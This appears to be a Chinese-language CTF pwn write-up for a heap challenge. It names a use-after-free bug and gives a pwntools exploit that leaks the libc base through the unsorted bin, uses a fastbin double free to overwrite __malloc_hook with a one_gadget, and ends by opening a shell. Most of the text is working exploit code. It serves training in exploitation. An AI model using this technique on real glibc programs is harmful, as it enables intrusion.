漏洞:delete时没有把指针置零,可以UAF。
基本功能:
- New Post
- Edit a Post
- Delete a Post
- Show all Posts
- I want to post a lonely hearts ad!!!
- Exit
交互
def add(index, data):
io.recvuntil('Your Choice:')
io.sendline(str(index))
io.recvuntil('Content:')
io.send(data)
def edit(index, data):
io.recvuntil('Your Choice:')
io.sendline('2')
io.recvuntil('Index:')
io.sendline(str(index))
io.recvuntil('Content:')
io.send(data)
def dele(index):
io.recvuntil('Your Choice:')
io.sendline('3')
io.recvuntil('Index:')
io.sendline(str(index))
def show():
io.recvuntil('Your Choice:')
io.sendline('4')
exp1:
1、通过unsorted bin泄露main arena。
2、fastbin attack劫持malloc_hook。
3、调用malloc,system(’/bin/sh’)。
# unsorted bin泄露main arena
add(5, 'a')
add(1, 'b')
add(1, 'c')
dele(0)
add(1, 'aaaaaaaa')
show()
io.recvuntil('aaaaaaaa')
libcbase = u64(io.recv(6)+'\x00\x00') - 0x3c4c78
print hex(libcbase)
mallochook = libcbase + libc.symbols['__malloc_hook']
print hex(mallochook)
one = libcbase + 0xf1147
print hex(one)
# fastbin attack劫持malloc hook
dele(1)
dele(2)
dele(1)
fakefd = mallochook-0x23
add(1, p64(fakefd))
add(1, 'e')
add(1, 'f')
add(1, 'a'*19+p64(one))
# mallochook()
io.recvuntil('Choice:')
io.sendline('1')
io.interactive()
反思:
fastbin不会被unlink。
相关资源:
https://gitee.com/sunrise1/CTF/blob/master/w4-2.zip